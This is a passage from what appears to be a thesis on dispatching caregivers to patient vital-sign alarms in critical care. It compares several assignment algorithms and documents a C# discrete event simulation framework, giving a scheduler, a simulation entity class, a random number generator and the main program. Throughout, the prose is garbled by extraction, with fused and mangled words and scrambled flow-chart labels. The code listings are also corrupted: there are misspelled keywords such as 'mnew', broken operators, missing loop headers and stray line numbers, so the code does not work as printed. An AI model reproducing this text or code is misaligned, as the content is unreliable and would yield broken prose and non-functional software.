graph nodes is dynamically changing over time post alarmimence.

As, our problem holds its own unique attributes, which défgiate it from on-line algo-
rithms, it requires a different evaluation technique. Teegf@rmance of on-line algorithms
is evaluated using competitive analysis [45]. We note tbatpetitive analysis is a strong
performance measure, where the on-line algorithbd- is compared to an optimal off-line
algorithm (O PT)) that knows the entire input in advance and can serve it witiimum
cost [5]. Extensions to competitive analysis consider astizal adversary that generates

an input which is constrained to satisfy certain statispecaperties [39].

Our focus is not competing against a malicious adversaiytaoanalyze and quantify our
system performance against an input generated based opettiied probability distribu-
tions. Through our comparative analyses we are not congpann system againg? PT,

which admittedly, we do not know. Rather, we seek to compareatgorithms against

de-facto algorithmshat are in use today.

In declaring our approach towards the problem, we do notteegassible future work
subjecting our algorithms to competitive analyses ag#&#31'. In contrast, this alternative
approach would consider input determined by malicious esérg, and enforce competing

againstO PT'.
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7.1 Cyclic Scan

The Cyclic Scan algorithm represents a formalization ofr¢acto modus operandi of the
majority of critical care units today. It reflects the abseontinteroperability between vital
sign monitoring devices, and the absent of wireless infnatires in those units. These
two shortcoming are by far the dominant norm in the healéngadustry. Due to the fact
that the devices are not interconnected, the task of mamif@il devices forces a latency
time, during which caregivers scan among the devices t@cothe presented data and

status information. Figure 7.1.1 shows the flow chart forayic scan algorithm.

7.2 Immediate Dispatch

The Immediate Dispatch algorithm, is based on the presehogesconnection and in-
teroperability among the vital signs monitors. The intaroection allows for centralized
consolidation of the alarms, for use in dispatching deosioAfter the consolidation of
the alarms, the Immediate Dispatch algorithm assigns tagadle caregiver immediately
to the next alarm received, without concerning itself wile semantics of the alarm or
the associated injury levels of competing alarms. Figuzel/ishows the flow chart for the

Immediate-Dispatch algorithm.

7.3 Greedy

The Greedy algorithm is an extension of the Immediate-D@dpalgorithm. Like its prede-
cessor, it assumes interconnection and interoperabdgityden vital signs monitors. After

the consolidation of alarm data, the algorithm dispatchesvailable caregiver to the alarm
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Figure 7.1.1Cyclic scan algorithm, flow chart.

1 Start '

A
Event i
Latency Notification /™
delay
] Y

Yes

Assign to Yes
Code Blue

patients
No Is there o T
a caregiver
available?

Is there
Code Blue
Alarms?

Assign to
Patient

Simulation|termination

Add all
injury tokens
for all alarming

v

Union all cost

token sets from

each caregiver
inT

A

Store T

Is patient p bi h
No vital sign i ispatc Alarm(patient p, vital_sign i)
Move next [ €— is alarming? on 2 . =9
yy Event Type

Y

Set patient p
vital sign i
on alarm

which reports the highest injury level at that precise mom@&mneedy selection occurs by
choosing the alarm which currently has the highest injumy, does not consider the differ-

ent (A determined) injury curves of competing alarms. Figurel7shows the flow chart

for the Greedy algorithm.
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Figure 7.2.1Immediate Dispatch algorithm, flow chart.
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7.4 Future Aware

The Future Aware algorithm also presumes the presenceatorinection and interoper-
ability between vital signs monitors. After the consolidatof the alarms, the algorithm
considers all possible assignments of the available cggedror each assignment it con-
siders not thecurrent injury of the patient, but the estimated injury level thatukbbe

incurred by other patients if the assignment was made. btethe Future Aware algo-

rithm minimizes the opportunity cost of the assignmentheathan greedily minimizing
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Figure 7.3.1Greedy algorithm, flow chart.
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current injury level. The Future Aware algorithm does natyvbver, consider the fact that

multiple caregivers are present when computing the oppityteost. Figure 7.5.1 shows

the flow chart for the Future-Aware algorithm.

7.5 Socially Aware

The Socially Aware algorithm also assumes the presencdeartonnection and interoper-

ability between vital signs monitors. After the consolidatof the alarms, the algorithm
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considers all possible assignments to patients. Like ther&/ware algorithm, it seeks to
minimize the opportunity cost of its assignment, but in catimg this opportunity cost, it
takes into consideration that other caregivers will becaralable during the assignment.
This change in the definition of opportunity cost can ocaaelly cause the Socially Aware
algorithm to make different decisions than its simpler pasbsor. Figure 7.5.1 shows the

flow chart for the Future-Aware algorithm.

Figure 7.5.1Future-Aware algorithm, flow chart.
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Figure 7.5.2Socially-Aware algorithm, flow chart.
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CHAPTER 8

SIMULATION SETUP

Due to the nature of the system as a healthcare and critcalapplication which di-
rectly interacts with injured patients, any stress testingerformance evaluation test cases
can not be performed in the field, since this would involvetipgtpatients lives in dan-
ger. Any benchmark, stress and performance testing nedaks égecuted in a simulated
environment. Here we describe our work in designing a custiomulation environment,

wherein we can test and evaluate the performance of ounsyste

8.1 Overview

8.1.1 Framework for Discrete Event Simulation

A Discrete Event Simulation (DES-F) framework controlsmgan time, through a queue
of events sorted by the simulated time when they should oddwe simulator process each
event in the queue sequentially and triggers new eventsighrthe event execution. It is

not necessary to execute the simulation in real time.

The following are the main components of the DES-Framework:

Event queue A list that contains all the events waiting to happen.
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Simulation Clock A global variable that represents the simulated time.
State variables Variables that together completely describe the stateeoéyistem.

Event routines Routines that handle the occurrence of events. If an evenirscits cor-
responding event routines are executed to update the stasbhles and the event

gueue appropriately.

Input routine The routine that gets the input parameters from the user@nalies them

to the model.

Report generation routine The routine responsible for calculating and analyzingltesu

and exporting them out to the end user.

Initialization routine The routine responsible for initializing the values of therigus
state variables, global variables, and statistical végght the beginning of the sim-

ulation program.

Main program The program where the other routines are called. The magrano calls
the initialization routines; the input routine executeioas iterations, finally calls

the report generation routine.

A concrete simulation is specified in terms of concrete imq@atations ofSimulation
Entity , and transmitted between them as concrete implementatf@imulation Events.
The Critical Care Simulation Platform, described belovg itg own set of custom Simula-

tion Entities and Events, that formalizes the interactiof$s constituent elements.
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8.1.2 The Critical Care Simulation Platform

The Critical Care Simulation platform consists of two maanrtp, the first part represents
the simulated environment of the critical care unit repnése in a set of patients including
a set of vital signs. Each patient vital sign is a sourc&/itdlSignAlarmEvengvents,

triggered by avitalSignTriggerEventollowing the Poisson distribution configured by the

appropriate\ value.

The critical care unit simulated environment, relays itgpatito the care giver assignment
algorithms through a centralized Event-Mediator. The EMadiator delivers the same
exact immutable input represented by the sequence of patiétal-signs alarm events to

each concrete implementation of the caregiver assignnigmtitams.

Each concrete algorithm manages the caregivers in a diffarel independent way. Based
on the local implementation of the assignment function ef ¢aregivers to the alarming
patients, each algorithm constructs a cost model wherealitsatlhe caregivers performance

and accumulates costs and statistics.

At the end of the simulation’s execution, the terminatioarauriggers the results and data
analysis module. Through the Event-Mediator all the atyons’ results are consolidated,

analyzed and exported to the end user.

8.1.3 Experiment Plan

The plan for the first experiment is to determine the systerfopeance when a single
caregiver is serving patients in a critical care facilitybAse result is to determine the load

ratio represented by nurse to patient ratio where if morepis are added to the caregiver
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load, fatalities and code-blue will be observed.

The plan for the second experiment is to determine the sypnfiormance when more
than one caregiver is serving patients in a critical cardifiacThe goal is to observe the

change in the safe patient to nurse ratio for 2, 4 and 8 caegrespectively.

The plan for the third experiment is to determine the systerfopmance when more than
one vital sign has been monitored on each patient. The gtabigserve the change in the
safe patient to nurse ratio for the second vital sign witim@to Fatal Injury, Poissoh) (3

min, 10 min), (3 min, 40 min), (12 min, 10 min) and (12 min, 4niespectively.

8.2 The Framework for Discrete Event Simulation

8.2.1 Scheduler

Usage: Our scheduler C# implementation is an extension based @fEES java im-
plementation presented in [41]. The scheduler represéstedre component of
the simulator. Since the scheduler is the focal point of theugator we allow one
and only one instance of the scheduler to be constructed. cWe\e this by cod-
ing the scheduler class as a Singleton class. The schedises i the frame work
layer, and is used by the application layer, where all sitiiaentities get registered
through the invocation aBirthSimEnt(SimEntity simEntity)rhrough the life-cycle
of a simulation entity, (till the invocation dfillSImEnt(SimEntity simEntitypr Kil-

IAll) it could act as a source of a simulation event, referenctmirially inside the
scheduler in afrom2setHashTable. Similarly the simulation entity can act as a re-

cipient of a simulation event, referenced internally iesitle scheduler in &o2set
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HashTable. The registration of an event is done throughribhecation ofRegis-
ter(SimEntity sender, SimEntity target, ISimEvent simE\aouble t) the scheduler
returns an EventHandle and maintain a reference to the evenbalancedRed-
BlackTree_ud2ehandle The life-cycle of the event ends by its occurrence when its
time elapses, or by the invocationdéregister(EventHandle eventHandbefore its
occurrence. Finally, the scheduler has a notion of timessibke througlGetTime()

method.
DataMembers :
private static Schedul er _instance the reference to the single concrete object, the

singleton scheduler.

private Hasht abl e _from2set a hash table holding the reference to events source

simulation entities.

private Hasht abl e _to2set a hash table holding the reference to events destination

simulation entities.

private RedBl ackTr ee _ud2ehandle a balanced red-black tree usidgi queDoubl e

as the key to storeBlvent Handl e instances.

private bool _done a boolean flag if set to true, it terminates the running scleedu

thread. Has its initial value set ttulse;

privatedoubl e _timeNow adoubl e variable representing the notion of time in-

side the scheduler.

privatei nt _uid a helper variable, represent the order and the differemtiitwo

events occur at the sardeubl e time value.

Methods :
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public static Schedul er Instance() the only public access method to the single-
ton Schedul er instance. The first invocation constructs and stores a-refer
ence to the object, and all following invocations just ratarreference to this

instance.

private Scheduler() aprivateconstructor preventing construction of any instance of
the singletorSchedul er . Thelnstance() method uses the constructor at its

very first invocation.

private HashSet <Event Handl e> GetEventsFrom(Si nEnt i t y SimEntity) takes
a simulation entity as a parameter, and returHagh Set of all Event Handl e

instances where the simulation entity represents the sourc

private HashSet <Event Handl e> GetEventsToSi nEnt i t y simEntity) takes a
simulation entity as a parameter, and returfleahSet of all Event Handl e

instances where the simulation entity represents thergetn.

public Event Handl e Register Si mEnti ty sender,Si nEnti ty target,| Si nEvent
simEvent, doubl e dt) an event registration method that takes a sender and a
target simulation entities, a simulation event and theedfitial time from now
for the event to occur as parameters, and returris/@amt Handl e after event

registration.

publicvoi d DeregisterEvent Handl e eventHandle) the method takes dvent Handl e
as a parameter, and allows the de-registration (remové#teddssociated previ-

ously registered event before its occurrence.
publicvoi d Run() a method that starts the execution of the scheduler thread.
publicvoi d Stop() a method that terminates the execution of the scheduleadhre

public static doubl e GetTime() returns the current time of the scheduler.
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publicvoi d BirthSimEnt( Si mEnt i t y simEntity) a method which notifies the sched-
uler of the construction of a new simulation entity, by pags reference to this
instance as a parameter, the scheduler will register aBiplesevents which
are meant to be sent from the simulation entity as the simoual&ntity initial

events.

publicvoi d KillSimEnt( Si mEnt i t y SsmEntity) takes a simulation entity as a pa-

rameter, and removes all its references and associatetsévan the scheduler.

private void KillAll() removes all simulation entities references and all events i

stances from the schedul@oes not reset the scheduler time)

publicvoi d Reset() the method resets the scheduler time, and removes all simula
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tion entities references and all events instances fromdinedsiler.

using System;
using System.Collections;
using System.Collections.Generic;

namespace DES.Framework

public class Scheduler
{
private static Scheduler _instance;
public static Scheduler Instance ()
{
if (_instance == null) { _instance = new Scheduler(); }
return _instance;
}
private Scheduler () {}
private Hashtable _from2set = new Hashtable ();
private HashSet<EventHandle> GetEventsFrom (SimEntity simEntity)
{
HashSet <EventHandle> hSet = (HashSet<EventHandle>)_from2set[simEntity];
if (hSet == null)
{
hSet = new HashSet<EventHandle>();

_from2set.Add(simEntity, hSet);
}
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return hSet;
}
private Hashtable _to2set = new Hashtable ();
private HashSet<EventHandle> GetEventsTo (SimEntity simEntity)
{
HashSet <EventHandle> hSet = (HashSet<EventHandle>)_to2set[simEntity];
if (hSet == null)
{
hSet = new HashSet<EventHandle>();
_to2set.Add(simEntity, hSet);

}

return hSet;
}
// UniqueDouble (time)—>Event
private RedBlackTree _ud2ehandle = mnew RedBlackTree ();

public EventHandle Register (SimEntity sender, SimEntity target, ISimEvent simEvent,
double t)

if (¢t < 0)
{

Console.WriteLine ("Cannot.register._an.event.in_the_past!");
//Thread . dumpStack () ;

Environment .Exit(—1);
}

double deliveryTime = Scheduler.GetTime () + t;

EventHandle eventHandle = new EventHandle (sender, target, simEvent,
new UniqueDouble (deliveryTime));

HashSet<EventHandle> eventsFrom = Instance().GetEventsFrom (eventHandle.Sender);
eventsFrom.Add (eventHandle) ;

HashSet<EventHandle> eventsTo = Instance().GetEventsTo (eventHandle.Target) ;
eventsTo.Add (eventHandle) ;

IComparable i_UDT=eventHandle.UDT;

Instance () ._ud2ehandle .Add (i_UDT, eventHandle) ;

return eventHandle;

}

public void Deregister (EventHandle eventHandle)
{
Instance () .GetEventsFrom (eventHandle .Sender) .Remove (eventHandle) ;
Instance () .GetEventsTo (eventHandle .Target) .Remove (eventHandle) ;
Instance () ._ud2ehandle .Remove (eventHandle .UDT) ;

}

private bool _done = false;
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{

}

{

}

{

}

{

private double _timeNow = 0;

public void Stop()

_done = +true;
public void Run ()
do
{
if (_ud2ehandle.Size() == 0) _done = true;
else
{
UniqueDouble udt = (UniqueDouble)_ud2ehandle.GetMinKey () ;
EventHandle eventHandle = (EventHandle)_ud2ehandle.GetData (udt);
_timeNow = udt.Value;
eventHandle.Sim_Event.Entering (eventHandle.Target) ;
eventHandle .Target.Recv(eventHandle.Sender, eventHandle.Sim_Event);
eventHandle .Sender.DeliveryAck ( eventHandle );
Deregister (eventHandle) ;
}
}
while (! _done);
KillA11 Q) ;

public static double GetTime ()

return Instance()._timeNow;

public void KillSimEnt (SimEntity simEntity)

// clone to avoid concurrent modifications from deregister
HashSet<EventHandle> from = new HashSet<EventHandle>(GetEventsFrom (simEntity));
foreach (EventHandle eventHandle in from)
{
Deregister (eventHandle) ;
}
_from2set .Remove (simEntity);
// clone to avoid concurrent modifications from deregister
HashSet<EventHandle> to = new HashSet<EventHandle>(GetEventsTo (simEntity));
foreach (EventHandle eventHandle in to)

{

Deregister (eventHandle) ;
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}

{

}

{

{

}

}

_to2set .Remove (simEntity) ;

public void BirthSimEnt (SimEntity simEntity)

// make the sets by getting them
HashSet<EventHandle> from = Instance().GetEventsFrom (simEntity);

HashSet <EventHandle> to = Instance().GetEventsTo (simEntity);

private void KillAll ()

while (_from2set.Keys.Count > 0)

{

SimEntity se = null;

IEnumerator enumerator = _from2set.Keys.GetEnumerator ();
enumerator .MoveNext () ;

se = (SimEntity) enumerator.Current;

se.Kill ();
}

}
public void Reset ()

this. _from2set.Clear();
this._to2set.Clear();
this._ud2ehandle.Clear();
this._timeNow = 0;
this._uid = 0;

this._done = false;

// registrations for the same time.

{

private int _uid=0;

public int UID

get{ return _uid;}

set{_uid = value;}

120




121

8.2.2 Simulation Entity

Usage: Itis an abstract class, which defines the characterist&sysimulation entity that
inherits from this base class. The base class can not repeefanctional simulation
entity, as it is not a concrete implementation. As well adinitey the functionality
of a simulation entity, it isolates the concrete implem&ate of simulation entity
from the scheduler, allowing the scheduler to use and opematany simulation
entity without prior knowledge of this simulation entity. it such an abstraction
the system can be extended and scaled as needed, and theiusegeamework is

independent of the application.
Methods :

protected SimEntity() a constructor to the base abstract class.

public abstract st r i ng GetName() the method returns a friendly name or identi-
fier to the instance, the abstrdayword forces the derived classes, inheriting

the simulation entity abstract class to implement@&Name()method.

protected Event Handl e Send @i nEnt ity recever,| Si nEvent simEvent, doubl e
dt) the method takes the following paramete8;mEnt i t y as an event re-
ceiver, a simulation event concrete instance passed thioBignEvent inter-
face, and a deferential time from current time value, angnstarEvent Handl e

for an event registered to be sent to the first parameterdiftane from now.

protected voi d RevokeSendEvent Handl e eventHandle) the method takes a pa-

rameteiEvent Handl e and revokes the associated sent event from the system.

public abstractvoi d Recv (Si nEnti ty source, | Si nEvent simEvent) the method

facilitates to the simulation entity to receive an eventanse from a source
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simulation entity. The abstra&eyword forces the derived classes, inheriting

the simulation entity abstract class to implementReev method.

publicvoi d DeliveryAck(Event Handl e eventHandle) the method acknowledges
the reception of the event associated with Bvent Handl e passed to the

method as a parameter.

publicvoi d Kill() the method terminates the life-cycle of the simulationtgnti-

stance.

public abstract voi d Destructor() the abstrackeyword forces the derived classes,
inheriting the simulation entity abstract class to implethe Destructor()

method, and to release all resources.

{

using System;

namespace DES.Framework

public abstract class SimEntity

{
protected SimEntity ()

{

Scheduler .Instance () .BirthSimEnt ( this);

}
public wvoid Kill()

{

this.Destructor () ;
Scheduler.Instance () .KillSimEnt ( this);
}

public abstract void Destructor ();

protected EventHandle Send(SimEntity dst, ISimEvent simEvent, double t)

{
return Scheduler.Instance().Register ( this, dst, simEvent, t);
}
protected void RevokeSend (EventHandle eventHandle)
{
Scheduler .Instance () .Deregister (eventHandle) ;
}

public abstract string GetName();

public abstract void Recv(SimEntity src, ISimEvent simEvent);
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public void DeliveryAck (EventHandle eventHandle)

{
// default no—op
}
}
}

8.2.3 Simulation Event

Usage: The simulation event interface defines the event with nolementation. Ap-
plication level events represent a concrete implememtatidhe interface. As well
as the isolation between the design and the implementdiatririterfaces provide,
interfaces in C# are provided as a replacement of multiglenitance. Because C#
does not support multiple inheritance, it was necessarydorporate some other
method so that the class can inherit the behavior of moredhartlass, avoiding the
problem of name ambiguity which is found in C++. With name ayulty, the object
of a class does not know which method to call if the two basssela of that class

object contains the same named method.

using System;
namespace DES.Framework

{

public interface ISimEvent

{

void Entering(SimEntity locale);

8.2.4 Random Generator

Usage: The class is a centralized source of pseudo-random nuneieration.
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DataMembers :

private static RandomGener at or _instance the reference to the single concrete

object, the singleton RandomGenerator.
private static Random_random .net framework random implementation.

privatei nt ? _seedthe variable behavior changed from value type to a null-able
variable that can store a null value. A null value indicateseadless random

generator, else the value of the variable is the random nugdreerator seed.

privatei nt _safePossionMaxLambdathe maximum value before switching to al-
ternative computation using adaptive Gaussian distobui avoid truncation

and flooring to zero.
Methods :

private RandomGenerator() a private constructor preventing construction of any
instance of the singletoRandontGener at or . Thelnstance() method uses

the constructor at its very first invocation.

public static RandomGener at or Instance() the only public access method to the
singletonRandonGener at or instance. The first invocation constructs and
stores a reference to the object, and all following invaoeijust returns a

reference to this instance.
publici nt Next() the method returns the nexht pseudo-random number.

publici nt Next(i nt maxValue) the method returns the nexht pseudo-random

number greater thahand less thamaxValue

publici nt Next (i nt minValue, i nt maxValue) the method returns the nexint

pseudo-random number greater tmaimValueand less thamaxValue
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publicvoi d NextBytespyt e[ ] buffer) the method takes a reference tdaffer

and inserts into the reference pseudo-random bytes.

public doubl e NextDouble() the method returns the nexoubl e pseudo-random

number.

publici nt NextPoissondoubl e lambda) the method takes a mean valaenbda
as a parameter and returns the nemt pseudo-random number following a
poisson distribution (the method encounter truncationfaal to zero for some

thresholdambdg.

public doubl e NextSafePoissoroubl e lambda) the method takes a mean value
lambdaas a parameter and returns the next pseudo-random number follow-
ing a poisson distribution (the method alternate to safepdation to avoid

truncation and floor to zero for some threshlzchbdg.

public doubl e NextUniform (doubl e a, doubl e b) the method returns the next
doubl e pseudo-random number greater theaand less thar, following a

uniform distribution.

publicdoubl e NextGaussian oubl e mean, doubl e stddev) the method re-
turns the nextloubl e pseudo-random number, following a Gaussian distri-
bution with mean value equal to the parameteranand a standard deviation

equal to the parametstddev

{

using System;

namespace DES.Framework

{

public class RandomGenerator

private static RandomGenerator _instance;
private static Random _random;

private int? _seed = null;

private int _safePossionMaxLambda = 40;
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{

}

{

{

{

}

{

}

{

private

RandomGenerator ()

if (_random == null) {_random =

public

static 1int? Seed

get{ return Instance._seed;}

set

{

if (Instance._seed != value)

{

Instance._seed = value;

if (Instance._seed == null)

{

_random = mnew Random();

else

//seed is mnot null, 4t has an

new Random() ;}

int wvalue

_random = new Random(Instance._seed.Value);

}

}
public

get
{

if(_instance

static RandomGenerator Instance

return _instance;

}

}
public

return

public

return

public

int Next ()

_random.Next () ;

int Next( int maxValue)

_random.Next (maxValue) ;

int Next( int minValue,

== null) {_instance = mnew RandomGenerator();}

int maxValue)
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}

{

}

{

}

{

}

{

}

{

return _random.Next(minValue, maxValue) ;

public void NextBytes (byte[] buffer)
_random.NextBytes (buffer);
public double NextDouble ()
return _random.NextDouble () ;
public int NextPoisson( double lambda)
int k = 0;

double p = 1.0;
double L = Math.Exp(— lambda);

p *= -random.NextDouble () ;
} while (p >= L);

return k—1;

public int SafePossionMaxLambda

get{ return _safePossionMaxLambda;}

set{_safePossionMaxLambda = value;}

public double NextSafePoisson( double lambda)

double safePoisson;

if (lambda > _safePossionMaxLambda)

{

//lambda value may cause a continous loop, use
double mean = lambda;

double stddev = Math.Sqrt(lambda);

safePoisson = NextGaussian (mean, stddev);
}

else

{

safePoisson = NextPoisson (lambda) ;
}

return safePoisson;

Gaussian
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}
public double NextUniform( double a, double b)

{
double u = a + _random.NextDouble() * (b — a);
return u;
}
public double NextGaussian ( double mean, double stddev)
{
double r,x,y;
do
{
x = NextUniform(—1.0, 1.0);
y = NextUniform(—-1.0, 1.0);
r = (xxx)+(yxy);
} while ((r >= 1) || (r == 0));
double g = mean + stddev x (x * Math.Sqrt(—2 x Math.Log(r) /r));

return g;

8.2.5 Main Procedure

Usage: This represents the entry point and the start of the simukgbplication. The
main procedure is responsible of loading the applicatianfigaration, parsing the
configuration parameters and attributes. The main proeechmstructs the simula-
tion entities, and registers them and their associatewli@vents to the scheduler,
and starts the execution of the scheduler in its own threde. rfiain procedure fa-
cilitates the generation of sample configuration file, aredathalysis of precomputed
simulation traces, augmented with analytical histograntsgraph plots. The main
class inherits from the simulation entity and self regstetermination event based

on the simulation duration configured value.

DataMembers :
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private static | CCAl gori t hn{] _ccAlgorithms an array of concrete implemen-

tation of the interface defining the Critical-Care algamith

private static Si nul at i onResul t s _simulationResults an object that stores all

the simulation results consolidated through the appboatixecution.

private static st r i ng _SampleConfigFileNamea variable which carries the file

name for the sample configuration file.

private static st r i ng _configFileName a variable which carries the file name for

the application configuration file.

private static st r i ng _resultsFileName a variable which carries the file name for

the results file.
Methods :

public staticvoi d Main(stri ng[] args) the main method which represents the

entry point to the application execution.

private static voi d Analyze (stri ng source, stri ng dist) the Analyze method
analyzes pre-computed simulation trace, and producegtar@bdata augmented

with analytical histograms and graph plots.

private static voi d RunFullAnalyses() the method analyzes the current simulation
output, and produces analytical data augmented with aoalytistograms and

graph plots.

private static voi d RunSimRound executes the simulator and runs the scheduler

for a single static configuration.

private static voi d UpdateToNextConfig @AppLogi cConf appConf ,st ri ng pa-
rameterName, st ri ng nextValue, Dynam cPar anet er dynParam) the
method changes the values of the configuration parametetiutes, based

on the settings of the dynamic parameters.
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private static voi d AnalyseAndSaveResults(the method executes a full analysis

on the simulation results and saves the output to an XML file.

public static voi d SubmitCycleResultsCycl e cycle) the method consolidate a sin-

gle simulation cycle results to the overall results set.

private static voi d GenerateConfig() the method generates a sample configuration

file.

override publicvoi d Recv Si nEntity src, | Si nEvent ev) the method facili-
tates to the main application the reception of a terminatie@nt from the sched-

uler to end the application execution on time.

override public St r i ng GetName() the method returns a friendly name or identi-

fier to the instance.

override public voi d Destructor() the method allows the instance to deallocate and

frees all resources before the termination of the appboati

using
using
using
using
using

names

clas

{

pri

private static SimulationResults _simulationResults;

private static string _SampleConfigFileName = "Simulation.Conf.sample";
private static string _configFileName = "SimulationConf.xml";
private static string _resultsFileName = "Results.xml";

private static int _simCycle;
private static int _pause = 1;

public static void Main(stringl[] args)

if

System;

System.Threading;
System.Collections .Generic;
DES.Framework;
OpenCCI.Simulation;

pace DiscreteEventSimulation

s MainClass : SimEntity

vate static ICCAlgorithm[] _ccAlgorithms;

((args.Length == 1) && (args[0] == "sampleconfig"))
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}

{

}

{

{

GenerateConfig();

Console.WriteLine ("Sample._config.created.");

return;
}
if ((args.Length == 1) && (args[0] == "export"))
{
_simulationResults = SimulationResults.Load(_resultsFileName);

Analyzer .ExportDataPlots(_simulationResults);
Console.WriteLine ("\nExported.plot_files.created.");
return;

}

if (args.Length == 2)

{

Console.WriteLine ("Starting.analyzer.");

Analyze (args[0], args[11);

Console.WriteLine ("Analyzed.results._augmented._in.file:" + args[1]);
return;

}

Console.WritelLine ("Starting._Discrete_Event_Simulation!");

RunFullAnalyses();

Console.WriteLine ("Done...");
private static void Analyze(string source, string dist)
_simulationResults = SimulationResults.Load(source);

Analyzer.Analyze (_simulationResults);

_simulationResults.SaveAs(dist);

private static void RunFullAnalyses()

_simulationResults = new SimulationResults();
_simulationResults.HideDetails = +true;

SimulationConf simConf = SimulationConf.Load(_configFileName);
RandomGenerator.Seed = simConf.RandomGeneratorSeed;

AppLogicConf appConf = simConf.AppLogicConfig;

DynamicParameter dynamicParameter = simConf.SimulationDynamicParameter;

_simulationResults.SimulationConfig = simConf;

if ((dynamicParameter == null) || (dynamicParameter.NextValue == null)
|| (dynamicParameter.NextValue.Count == 0))

{

_simulationResults.Add( new DynParamRound ("Single_round"));
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}

RunSimRound (simConf . NumberOfSimulations , simConf.SimulationPeriod, appConf

"Single_round", simConf.HideDetails);
}
else
{
try
{
string partialPrefix = ‘"partial" + Utility.TimeStamp () +"-";
foreach(string nextValue in dynamicParameter.NextValue)
{
string tag = dynamicParameter.ParameterName + "_." + nextValue;
_simulationResults.Add( new DynParamRound (tag));
UpdateToNext (appConf , dynamicParameter.ParameterName, nextValue,
dynamicParameter) ;
RunSimRound (simConf . NumberOfSimulations , simConf.SimulationPeriod, appConf,
simConf .HideDetails) ;
Console.WriteLine ("\n\t___—————— >" + tag);
try
{
//possible impact in computations of histduvg
//Analyzer.Analyze (_simulationResults);
_simulationResults.SaveAs(partialPrefix +_resultsFileName);
}
catch(Exception ex)
{
Console.WriteLine ("Exception.while_saving._partial._data:._." + ex.Message);
}
Thread.Sleep(_pause);
}
}
catch(Exception ex)
{
Console.WriteLine (ex.Message) ;
}
}

AnalyseAndSaveResults();
Console.WritelLine ("\n—— >_Exporting._to_GNUPlot...");

Analyzer .ExportDataPlots(_simulationResults);

private static void RunSimRound ( int numberOfSimulations,

int simulationPeriod, AppLogicConf appLogicConfig, string tag,
bool hideDetails)
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for( int i = 0; i < numberOfSimulations; i++)

_simCycle = 1ij;

for ( int x = 0; x < applLogicConfig.VitalSignConfArray.Length; x++)

{

applLogicConfig.VitalSignConfArray([x].ComputeBands (appLogicConfig.MinuteResolution

)

}

Simulate (simulationPeriod, applLogicConfig, hideDetails);
Scheduler.Instance () .Reset ();
Console.WriteLine("\n\t\t_...—————————— >." + tag + "o—o"+ 1)

Thread.Sleep(_pause);

rivate static void UpdateToNext (AppLogicConf appConf ,string parameterName,

string nextValue, DynamicParameter dynParam)

tring tag = dynParam.Tag;

switch(parameterName)

case "BedCount":

int cb = int.Parse(nextValue);
appConf .BedCount = cb;

break;

case "CaregiversCount":

int cc = int.Parse(nextValue);
appConf .CaregiversCount = cc;
break;

case '"MaxServicePeriod":

int max = int.Parse(nextValue);
appConf .MaxServicePeriod = max;
break;

case "MinServicePeriod":

int min = int.Parse(nextValue);
appConf .MinServicePeriod = min;
break;

case "FatalityCost":
int fc = int.Parse(nextValue);

appConf .FatalitiesConfig.FatalityCost

I
Hh
(e}

break;
case "FatalityServicePeriod":

int fsp = int.Parse(nextValue);
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appConf .FatalitiesConfig.FatalityServicePeriod = fsp;

break;
case "CyclicScanLatency":

int csl = int.Parse(nextValue);

appConf.CyclicScanLatency = csl;

break;
case "TimeToFatal':

double ttf = double.Parse(nextValue);

for ( int i = 0; i < appConf.VitalSignConfArray.Length; i++)
{

if (appConf.VitalSignConfArray[i].Tag == tag)

{

appConf.VitalSignConfArray[i].TimeToFatal = ttf;
}
}

break;

case "PoissonLambda":

double lam = double.Parse(nextValue);

for ( int i = 0; i < appConf.VitalSignConfArray.Length; i++)
{

if (appConf.VitalSignConfArray[i].Tag == tag)
{
appConf.VitalSignConfArray[i].PoissonLambda = lam;
}
}
break;
default:

throw new Exception ("unsupported.parameter.name:." + parameterName) ;
break;
}
}
private static void AnalyseAndSaveResults()
{
_simulationResults.Tag = Utility.TimeStamp();
_simulationResults.CCAlgorithms = new List<string>Q;
for( int i = 0; i < _ccAlgorithms.Length; i++)
{
_simulationResults.CCAlgorithms .Add(_ccAlgorithms [i].GetName ());
}
Analyzer.Analyze(_simulationResults);

_simulationResults.SaveAs(_resultsFileName);
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{
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private static void Simulate( long simulationPeriod, AppLogicConf conf,
bool hideDetails)

MainClass mc = new MainClass(simulationPeriod);
Console.WriteLine ( mc.GetName () + "_handle_a.finite._simulation._for._a.period."
simulationPeriod);

Simulate (conf, hideDetails);

private static void Simulate (AppLogicConf conf, bool hideDetails)
EventMediator eventMediator;

_ccAlgorithms = mnew ICCAlgorithm [5];

_ccAlgorithms [0] = new DefaultCCAlg(conf, hideDetails);
_ccAlgorithms [1] = new ImmediateDispatchAlg(conf, hideDetails);
_ccAlgorithms [2] = new GreedyAlg(conf, hideDetails);
_ccAlgorithms [3] = new OpenCCIAlg(conf, hideDetails);
_ccAlgorithms [4] = new SocialyAwareAlg(conf, hideDetails);
eventMediator = mnew EventMediator (_ccAlgorithms, SubmitCycleResults);
for( int i = 0; i < conf.BedCount; i++)

{

Patient patient = new Patient(i, conf);

patient.SetEventMediator(eventMediator) ;

}

Console.WritelLine (conf.BedCount + "_beds._created.");

Thread t = new Thread( new ThreadStart (Scheduler.Instance().Run));
t.Start () ;

try { t.Join(); }

catch (Exception ex)

{
Console.WriteLine (ex.Message) ;
}
Console.WriteLine ("End_of_simulation!");
static public void SubmitCycleResults(Cycle cycle)
cycle.Tag = _simCycle.ToString();

_simulationResults.CurrentRound.Add(cycle);

//helper function to generate initial config file only

{

private static void GenerateConfig()

SimulationConf conf = new SimulationConf();

+
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224 conf.NumberOfSimulations = 10;

225 conf.SimulationPeriod = 48000;

226 DynamicParameter dynamicParameter = mnew DynamicParameter();
227 dynamicParameter.ParameterName = "BedCount";

228 dynamicParameter.Tag = "OptionalTag";

229 dynamicParameter.NextValue = new System.Collections.Generic.List<string>();
230 dynamicParameter.NextValue.Add("11");

231 dynamicParameter.NextValue.Add("12");

232 dynamicParameter.NextValue.Add("13");

233 dynamicParameter.NextValue.Add("14");

234 dynamicParameter.NextValue.Add("15");

235 dynamicParameter.NextValue.Add("16");

236 dynamicParameter.NextValue.Add("17");

237 dynamicParameter.NextValue.Add("18");

238 dynamicParameter.NextValue.Add("19");

239 dynamicParameter.NextValue.Add ("20");

240 conf.SimulationDynamicParameter = dynamicParameter;

241 conf.HideDetails = true;

242 conf.RandomGeneratorSeed = 2010;

243 conf.AppLogicConfig = GenerateAppLogicConf();

244 conf.SaveAs(_SampleConfigFileName) ;

245 }

246 private static AppLogicConf GenerateAppLogicConf ()

247 {

248 AppLogicConf conf = mnew AppLogicConf ();

